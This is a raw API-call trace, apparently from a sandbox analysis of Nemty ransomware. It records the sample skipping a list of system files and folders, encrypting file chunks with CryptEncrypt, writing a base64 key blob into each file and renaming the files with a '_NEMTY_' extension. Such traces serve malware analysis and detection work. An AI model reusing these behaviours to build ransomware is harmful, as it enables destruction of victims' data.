dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.790] CloseHandle (hObject=0xffffffff) returned 0 [0127.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0127.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0127.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0127.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0127.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0127.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png._nemty_kgobjgd_")) returned 0 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.791] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86267cef, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86267cef, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd31a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="base-undocked-3.png", cAlternateFileName="")) returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".") returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="..") returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="...") returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="windows") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="$RECYCLE.BIN") returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="rsa") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="NTDETECT.COM") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="ntldr") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="MSDOS.SYS") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="IO.SYS") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="boot.ini") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="boot.ini") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="AUTOEXEC.BAT") returned 1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="ntuser.dat") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="desktop.ini") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="CONFIG.SYS") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="RECYCLER") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="BOOTSECT.BAK") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="bootmgr") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="programdata") returned -1 [0127.791] lstrcmpiW (lpString1="base-undocked-3.png", lpString2="appdata") returned 1 [0127.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-3.png", lpUsedDefaultChar=0x0) returned 19 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0127.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-3.png", lpUsedDefaultChar=0x0) returned 19 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0127.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-3.png", lpUsedDefaultChar=0x0) returned 19 [0127.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0127.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-undocked-3.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-undocked-3.png", lpUsedDefaultChar=0x0) returned 19 [0127.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0127.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0127.792] Sleep (dwMilliseconds=0x5) [0127.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffd144b0, dwHighDateTime=0x1d561e7)) [0127.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffd144b0, dwHighDateTime=0x1d561e7)) [0127.798] GetLastError () returned 0x5 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.798] GetLastError () returned 0x5 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0127.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.798] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.798] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0127.798] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="JK0rkR3bu1AVtjGhN7vRuJh4y09f2+iO6pMe8HOsEgAmfX6/FoegDfX6dcnRyIe1\r\nHa0J7vJRMgcAo6gKbA0HPq/oZESXujpDqUSbkHoZe5NDQ80I60vNTOawD/rSb6um\r\nwtrIh0M0wmC6UwGP68WFGCsap8dhrrKNP6O3/Qe3f+9Zkvnjlct1Y4zReuGzKovq\r\nZ5RZlh+DTycQeN7C0fIeImrf4o2dGFmaQLJvR5ej1LFnv1NHHz4stakvK3MhTS+y\r\nDE1cJss3MhcXVNMSvulcm6t/as/L0+LbYGEmOSH+PDU86yfYimdLiHzKAumIlejq\r\ngnFUuz2SoE5Y2Ld7JKSPRw==\r\n", pcchString=0x653e91c) returned 1 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0127.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0127.798] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.798] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.799] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.950] CloseHandle (hObject=0xffffffff) returned 0 [0127.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0127.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0127.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0127.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 